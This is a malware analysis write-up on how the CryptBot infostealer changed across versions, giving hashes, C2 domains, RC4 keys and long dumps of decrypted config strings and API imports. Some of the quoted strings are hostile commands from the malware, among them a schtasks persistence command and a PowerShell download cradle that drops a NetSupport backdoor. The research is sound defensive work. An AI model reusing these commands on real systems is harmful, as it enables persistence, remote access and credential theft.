

# CryptBot Evolution

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## Overview

CryptBot has evolved significantly over the past two years. Starting out as a simple stealer compiled with msvc and containing an XOR encrypted config, the developers have released multiple iterations of the bot attempting to distance themselves from the original stealer. The modern version is almost unrecognizable, it is compiled with minGw, makes heavy use of an obfuscator, and uses RC4 to protect its configuration, however, once the layers are stripped away, this is still the same simple stealer underneath.

## References

- [There's Something About CryptBot: Yet Another Silly Stealer \(YASS\)](#)

## Version 1 (November 2023)

- [OALABS CryptBot V1 Analysis](#)
- Config encrypted with xor
- msvc compiled
- Packed `7ccda59528c0151bc9f11b7f25f8291d99bcf541488c009ef14e2a104e6f0c5d`
- Unpacked `cfbecf45c083effff6d3000972a66cddb2f26d5c1845a697351b132e65049e0`

Plaintext strings in binary used for C2 comms.

```
UID:  
UserName:  
ComputerName:  
DateTime:  
UserAgent:  
Keyboard Languages:  
Display Resolution:  
CPU:  
RAM:  
GPU:  
isGodMod: yes  
isGodMod: no  
isAdmin: yes  
isAdmin: no  
Installed software:
```

## Config

ExternalDownload: http://ovapfa05.top/unfele.dat  
C2: http://erniku42.top/gate.php;

## Version 2 (Timeline unknown)

- Config encrypted with rc4.
- msvc compiled
- Not packed 34dcc780d2a2357c52019d87a0720802a92f358d15320247c80cc21060fb6f57
- rc4 key oSabnN

According to [Intezer](#)

The stealer also has the ability to drop the **NetSupport** Client as a backdoor for the infected machine. The client is deployed via a PowerShell command and script.

```
/c powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$Resp = Invoke-WebRequest -Uri 'https://b
```

Plaintext strings in binary used for C2 comms.

```
UserName (ComputerName):  
Data (Time):  
OS:  
Keyboard Languages:  
CPU:  
RAM:  
GPU:  
Display Resolution:  
Installed Apps:
```

Decrypted config (ascii and wide version of the same table)

```
gceight8vt.top  
\Winodukec  
oSabnN  
\ServiceData  
\ServiceData\Clip.jpg  
\ServiceData\Clip.exe  
/c schtasks /create /tn \Service\Data /tr """"%wS"""" """"%wS"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f  
GET  
POST  
/index.php  
/gate.php  
/zip.php  
/upload.php
```

```
curl/8.0.1
NULL
NULL
NULL
Content-Length: %lu
HTTP
HTTPS
"encrypted_key": "
DPAPI
DISPLAY
$SCREEN.JPEG
ScreenShot.jpeg
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Apps
Browsers
Files
Wallets
UserID.txt
Debug.txt
End.txt
log.txt
User's Computer Information.txt
Desktop
Others
NULL
An error occurred while starting the application (0xc000007b). To exit the application, click OK.
System Error
NULL
ComSpec
LocalAppData
AppData
Temp
UserProfile
NULL
NULL
shaverma.site
NULL
kernel32.dll
ntdll.dll
user32.dll
shlwapi.dll
msvcrt.dll
shell32.dll
wininet.dll
winhttp.dll
ws2_32.dll
```

urlmon.dll  
crypt32.dll  
gdi32.dll  
gdiplus.dll  
ole32.dll  
cabinet.dll  
advpack.dll  
advapi32.dll  
rstrtmgr.dll  
winsqlite3.dll  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
GetModuleHandleA  
GetModuleHandleW  
GetModuleHandleExA  
GetModuleHandleExW  
LoadLibraryA  
LoadLibraryW  
LoadLibraryExA  
LoadLibraryExW  
GetProcAddress  
FreeLibrary  
NULL  
MessageBoxA  
MessageBoxW  
NULL  
CreateThread  
CreateRemoteThread  
CreateRemoteThreadEx  
OpenThread  
OpenProcess  
GetThreadId  
GetProcessId  
CreateMutexA  
CreateMutexW  
ReleaseMutex  
WaitForSingleObject  
CreateProcessA

CreateProcessW  
ShellExecuteA  
ShellExecuteW  
WinExec  
NULL  
HeapCreate  
GetProcessHeap  
HeapAlloc  
HeapReAlloc  
HeapSize  
HeapFree  
NULL  
VirtualAlloc  
VirtualAllocEx  
VirtualFree  
VirtualFreeEx  
VirtualProtect  
VirtualProtectEx  
NULL  
LocalAlloc  
LocalFree  
NULL  
calloc  
malloc  
realloc  
free  
NULL  
CreateFileA  
CreateFileW  
ReadFile  
WriteFile  
SetFilePointer  
SetFilePointerEx  
GetFileAttributesA  
GetFileAttributesW  
GetFileAttributesExA  
GetFileAttributesExW  
GetFileSize  
GetFileSizeEx  
CreateFileMappingA  
CreateFileMappingW  
MapViewOfFile  
UnmapViewOfFile  
CloseHandle  
NULL  
SHGetFolderPathA  
SHGetFolderPathW

GetEnvironmentVariableA  
GetEnvironmentVariableW  
ExpandEnvironmentStringsA  
ExpandEnvironmentStringsW  
GetModuleFileNameA  
GetModuleFileNameW  
GetModuleFileNameExA  
GetModuleFileNameExW  
GetCurrentDirectoryA  
GetCurrentDirectoryW  
GetSystemDirectoryA  
GetSystemDirectoryW  
GetSystemWow64DirectoryA  
GetSystemWow64DirectoryW  
GetTempPathA  
GetTempPathW  
GetTempFileNameA  
GetTempFileNameW  
NULL  
URLDownloadToFileA  
URLDownloadToFileW  
URLOpenBlockingStreamA  
URLOpenBlockingStreamW  
CoInitialize  
CoUninitialize  
NULL  
WinHttpCrackUrl  
WinHttpOpen  
WinHttpConnect  
WinHttpOpenRequest  
WinHttpAddRequestHeaders  
WinHttpSendRequest  
WinHttpReceiveResponse  
WinHttpReadData  
WinHttpReadDataEx  
WinHttpQueryHeaders  
WinHttpQueryOption  
WinHttpCloseHandle  
NULL  
InternetCrackUrlA  
InternetOpenUrlA  
InternetOpenA  
InternetConnectA  
HttpOpenRequestA  
HttpSendRequestA  
HttpQueryInfoA  
InternetReadFile

InternetReadFileExA  
InternetCloseHandle  
NULL  
InternetCrackUrlW  
InternetOpenUrlW  
InternetOpenW  
InternetConnectW  
HttpOpenRequestW  
HttpSendRequestW  
HttpQueryInfoW  
InternetReadFile  
InternetReadFileExW  
InternetCloseHandle  
NULL  
WSAStartup  
socket  
htons  
inet\_addr  
bind  
listen  
accept  
recv  
recvfrom  
send  
closesocket  
WSAGetLastError  
WSACleanup  
NULL  
FindFirstFileNameA  
FindFirstFileNameW  
FindNextFileNameA  
FindNextFileNameW  
FindFirstFileA  
FindFirstFileW  
FindFirstFileExA  
FindFirstFileExW  
FindNextFileA  
FindNextFileW  
FindClose  
NULL  
RegOpenKeyExA  
RegOpenKeyExW  
RegQueryInfoKeyA  
RegQueryInfoKeyW  
RegEnumKeyExA  
RegEnumKeyExW  
RegQueryValueExA

RegQueryValueExW  
RegCloseKey  
NULL  
wnsprintfA  
wnsprintfW  
StrStrIA  
StrStrIW  
PathIsDirectoryA  
PathIsDirectoryW  
PathFileExistsA  
PathFileExistsW  
SHAnsiToUnicode  
SHUnicodeToAnsi  
NULL  
wsprintfA  
wsprintfW  
\_snprintf  
\_snwprintf  
swprintf  
sprintf  
\_swprintf  
sprintf\_s  
swprintf\_s  
\_snwprintf\_s  
\_vscprintf  
vsprintf  
\_vscwprintf  
vswprintf  
NULL  
WideCharToMultiByte  
MultiByteToWideChar  
GetComputerNameA  
GetComputerNameW  
GetUserNameA  
GetUserNameW  
CopyFileA  
CopyFileW  
CopyFileExA  
CopyFileExW  
DeleteFileA  
DeleteFileW  
MoveFileA  
MoveFileW  
MoveFileExA  
MoveFileExW  
CreateDirectoryA  
CreateDirectoryW

RemoveDirectoryA  
RemoveDirectoryW  
NULL  
EnumDisplaySettingsA  
EnumDisplaySettingsW  
CreateDCA  
CreateDCW  
CreateCompatibleDC  
CreateCompatibleBitmap  
SelectObject  
BitBlt  
GetDeviceCaps  
StretchBlt  
GetObjectA  
GetObjectW  
GetDIBits  
ReleaseDC  
DeleteDC  
NULL  
GdiplusStartup  
GdiplusGetImageEncoders  
GdiplusGetImageEncodersSize  
GdiplusLoadImageFromFile  
GdiplusCreateBitmapFromHBITMAP  
GdiplusSaveImageToFile  
GdiplusSaveImageToStream  
GdiplusGetBitmapBits  
DeleteObject  
GdiplusShutdown  
NULL  
SHCreateMemStream  
CreateStreamOnHGlobal  
SaveImageToStream  
IStream\_Size  
IStream\_Reset  
IStream\_Read  
NULL  
ExtractFilesA  
ExtractFilesW  
Extract  
FCICreate  
FCIAddFile  
FCIFlushFolder  
FCIFlushCabinet  
FCIDestroy  
NULL  
CryptUnprotectData

GetTickCount  
GetTickCount64  
QueryPerformanceCounter  
CreateToolhelp32Snapshot  
Process32FirstA  
Process32FirstW  
Process32NextA  
Process32NextW  
GetLocaleInfoA  
GetLocaleInfoW  
GetLogicalDriveStringsA  
GetLogicalDriveStringsW  
GetDriveTypeA  
GetDriveTypeW  
GetVolumeInformationA  
GetVolumeInformationW  
GetDiskFreeSpaceExA  
GetDiskFreeSpaceExW  
ReadConsoleA  
ReadConsoleW  
WriteConsoleA  
WriteConsoleW  
GetCommandLineA  
GetCommandLineW  
GetConsoleMode  
printf  
wprintf  
atoi  
\_wtoi  
FileTimeToSystemTime  
GetFileInformationByHandle  
IsBadReadPtr  
SystemTimeToFileTime  
GetTimeZoneInformation  
GetLocalTime  
GlobalMemoryStatusEx  
DuplicateHandle  
GetCurrentProcess  
GetCurrentThread  
GetUserDefaultLocaleName  
GetSystemMetrics  
GetSystemInfo  
GetNativeSystemInfo  
IsWow64Process  
IsWow64Process2  
GetKeyboardLayoutList  
RtlGetVersion





```
/home/anal/bot/zip_include/miniz.h
```

C2 `http://twentyvx20pn.top/v1/upload.php`

Plaintext stirngs in binary for c2

```
CPU:  
RAM:  
Installed Apps:  
Display Resolution:  
GPU:  
OS:  
UserName (ComputerName):  
Keyboard Languages:  
Data (Time):
```

Decrypted config strings

```
twentyvx20pn.top  
\nuSONyiIRP  
LkgwUi  
\ServiceData  
\ServiceData\Clip.au3  
\ServiceData\Clip.exe  
/c schtasks /create /tn \Service\Data /tr """"%wS"""" """"%wS"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f  
GET  
POST  
/index.php  
/gate.php  
/zip.php  
/v1/upload.php  
curl/8.0.1  
NULL  
NULL  
NULL  
Content-Length: %lu  
HTTP  
HTTPS  
"encrypted_key": "  
DPAPI  
DISPLAY  
$SCREEN.JPEG  
ScreenShot.jpeg  
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko  
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36  
Apps
```

Browsers

Files

Wallets

UserID.txt

Debug.txt

End.txt

log.txt

User's Computer Information.txt

Desktop

Others

NULL

An error occurred while starting the application (0xc000007b). To exit the application, click OK.

System Error

NULL

ComSpec

LocalAppData

AppData

Temp

UserProfile

NULL

NULL

analforeverlovyu.top

NULL

kernel32.dll

ntdll.dll

user32.dll

shlwapi.dll

msvcrt.dll

shell32.dll

wininet.dll

winhttp.dll

ws2\_32.dll

urlmon.dll

crypt32.dll

gdi32.dll

gdiplus.dll

ole32.dll

cabinet.dll

advpack.dll

advapi32.dll

rstrtmgr.dll

winsqlite3.dll

NULL

NULL

NULL

NULL

NULL

NULL  
NULL  
NULL  
NULL  
NULL  
NULL  
GetModuleHandleA  
GetModuleHandleW  
GetModuleHandleExA  
GetModuleHandleExW  
LoadLibraryA  
LoadLibraryW  
LoadLibraryExA  
LoadLibraryExW  
GetProcAddress  
FreeLibrary  
NULL  
MessageBoxA  
MessageBoxW  
NULL  
CreateThread  
CreateRemoteThread  
CreateRemoteThreadEx  
OpenThread  
OpenProcess  
GetThreadId  
GetProcessId  
CreateMutexA  
CreateMutexW  
ReleaseMutex  
WaitForSingleObject  
CreateProcessA  
CreateProcessW  
ShellExecuteA  
ShellExecuteW  
WinExec  
NULL  
HeapCreate  
GetProcessHeap  
HeapAlloc  
HeapReAlloc  
HeapSize  
HeapFree  
NULL  
VirtualAlloc  
VirtualAllocEx  
VirtualFree

VirtualFreeEx  
VirtualProtect  
VirtualProtectEx  
NULL  
LocalAlloc  
LocalFree  
NULL  
calloc  
malloc  
realloc  
free  
NULL  
CreateFileA  
CreateFileW  
ReadFile  
WriteFile  
SetFilePointer  
SetFilePointerEx  
GetFileAttributesA  
GetFileAttributesW  
GetFileAttributesExA  
GetFileAttributesExW  
GetFileSize  
GetFileSizeEx  
CreateFileMappingA  
CreateFileMappingW  
MapViewOfFile  
UnmapViewOfFile  
CloseHandle  
NULL  
SHGetFolderPathA  
SHGetFolderPathW  
GetEnvironmentVariableA  
GetEnvironmentVariableW  
ExpandEnvironmentStringsA  
ExpandEnvironmentStringsW  
GetModuleFileNameA  
GetModuleFileNameW  
GetModuleFileNameExA  
GetModuleFileNameExW  
GetCurrentDirectoryA  
GetCurrentDirectoryW  
GetSystemDirectoryA  
GetSystemDirectoryW  
GetSystemWow64DirectoryA  
GetSystemWow64DirectoryW  
GetTempPathA

GetTempPathW  
GetTempFileNameA  
GetTempFileNameW  
NULL  
URLDownloadToFileA  
URLDownloadToFileW  
URLOpenBlockingStreamA  
URLOpenBlockingStreamW  
CoInitialize  
CoUninitialize  
NULL  
WinHttpCrackUrl  
WinHttpOpen  
WinHttpConnect  
WinHttpOpenRequest  
WinHttpAddRequestHeaders  
WinHttpSendRequest  
WinHttpReceiveResponse  
WinHttpReadData  
WinHttpReadDataEx  
WinHttpQueryHeaders  
WinHttpQueryOption  
WinHttpCloseHandle  
NULL  
InternetCrackUrlA  
InternetOpenUrlA  
InternetOpenA  
InternetConnectA  
HttpOpenRequestA  
HttpSendRequestA  
HttpQueryInfoA  
InternetReadFile  
InternetReadFileExA  
InternetCloseHandle  
NULL  
InternetCrackUrlW  
InternetOpenUrlW  
InternetOpenW  
InternetConnectW  
HttpOpenRequestW  
HttpSendRequestW  
HttpQueryInfoW  
InternetReadFile  
InternetReadFileExW  
InternetCloseHandle  
NULL  
WSAStartup

socket  
htons  
inet\_addr  
bind  
listen  
accept  
recv  
recvfrom  
send  
closesocket  
WSAGetLastError  
WSACleanup  
NULL  
FindFirstFileNameA  
FindFirstFileNameW  
FindNextFileNameA  
FindNextFileNameW  
FindFirstFileA  
FindFirstFileW  
FindFirstFileExA  
FindFirstFileExW  
FindNextFileA  
FindNextFileW  
FindClose  
NULL  
RegOpenKeyExA  
RegOpenKeyExW  
RegQueryInfoKeyA  
RegQueryInfoKeyW  
RegEnumKeyExA  
RegEnumKeyExW  
RegQueryValueExA  
RegQueryValueExW  
RegCloseKey  
NULL  
wnsprintfA  
wnsprintfW  
StrStrIA  
StrStrIW  
PathIsDirectoryA  
PathIsDirectoryW  
PathFileExistsA  
PathFileExistsW  
SHAnsiToUnicode  
SHUnicodeToAnsi  
NULL  
wsprintfA

wsprintfW  
\_snprintf  
\_snwprintf  
swprintf  
sprintf  
\_swprintf  
sprintf\_s  
swprintf\_s  
\_snwprintf\_s  
\_vscprintf  
vsnprintf  
\_vscwprintf  
vswprintf  
NULL  
WideCharToMultiByte  
MultiByteToWideChar  
GetComputerNameA  
GetComputerNameW  
GetUserNameA  
GetUserNameW  
CopyFileA  
CopyFileW  
CopyFileExA  
CopyFileExW  
DeleteFileA  
DeleteFileW  
MoveFileA  
MoveFileW  
MoveFileExA  
MoveFileExW  
CreateDirectoryA  
CreateDirectoryW  
RemoveDirectoryA  
RemoveDirectoryW  
NULL  
EnumDisplaySettingsA  
EnumDisplaySettingsW  
CreateDCA  
CreateDCW  
CreateCompatibleDC  
CreateCompatibleBitmap  
SelectObject  
BitBlt  
GetDeviceCaps  
StretchBlt  
GetObjectA  
GetObjectW

GetDIBits  
ReleaseDC  
DeleteDC  
NULL  
GdiplusStartup  
GdiplusGetImageEncoders  
GdiplusGetImageEncodersSize  
GdiplusLoadImageFromFile  
GdiplusCreateBitmapFromHBITMAP  
GdiplusSaveImageToFile  
GdiplusSaveImageToStream  
GetBitmapBits  
DeleteObject  
GdiplusShutdown  
NULL  
SHCreateMemStream  
CreateStreamOnHGlobal  
SaveImageToStream  
IStream\_Size  
IStream\_Reset  
IStream\_Read  
NULL  
ExtractFilesA  
ExtractFilesW  
Extract  
FCICreate  
FCIAddFile  
FCIFlushFolder  
FCIFlushCabinet  
FCIDestroy  
NULL  
CryptUnprotectData  
GetTickCount  
GetTickCount64  
QueryPerformanceCounter  
CreateToolhelp32Snapshot  
Process32FirstA  
Process32FirstW  
Process32NextA  
Process32NextW  
GetLocaleInfoA  
GetLocaleInfoW  
GetLogicalDriveStringsA  
GetLogicalDriveStringsW  
GetDriveTypeA  
GetDriveTypeW  
GetVolumeInformationA

GetVolumeInformationW  
GetDiskFreeSpaceExA  
GetDiskFreeSpaceExW  
ReadConsoleA  
ReadConsoleW  
WriteConsoleA  
WriteConsoleW  
GetCommandLineA  
GetCommandLineW  
GetConsoleMode  
printf  
wprintf  
atoi  
\_wtoi  
FileTimeToSystemTime  
GetFileInformationByHandle  
IsBadReadPtr  
SystemTimeToFileTime  
GetTimeZoneInformation  
GetLocalTime  
GlobalMemoryStatusEx  
DuplicateHandle  
GetCurrentProcess  
GetCurrentThread  
.GetUserDefaultLocaleName  
GetSystemMetrics  
GetSystemInfo  
GetNativeSystemInfo  
IsWow64Process  
IsWow64Process2  
GetKeyboardLayoutList  
RtlGetVersion  
GetLastError  
SetErrorMode  
abs  
clock  
OpenProcess  
TerminateProcess  
RmStartSession  
RmRegisterResources  
RmGetList  
RmEndSession  
strtod  
isspace  
Sleep  
SleepEx  
GetExitCodeThread



NULL

NULL

### **Version 3.2 (Timeline unknown)**

- gcc compiled
- downloads the binary
- `e7a83ddae3eec8ce624fc138e1dddb7f3ff5c5c9f20db11f60e22f489bdcc947`

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Source: [https://research.openanalysis.net/cryptbot/botnet/yara/config/2024/12/06/cryptbot2.html#Version-3.2-\(Timeline-unknown\)](https://research.openanalysis.net/cryptbot/botnet/yara/config/2024/12/06/cryptbot2.html#Version-3.2-(Timeline-unknown))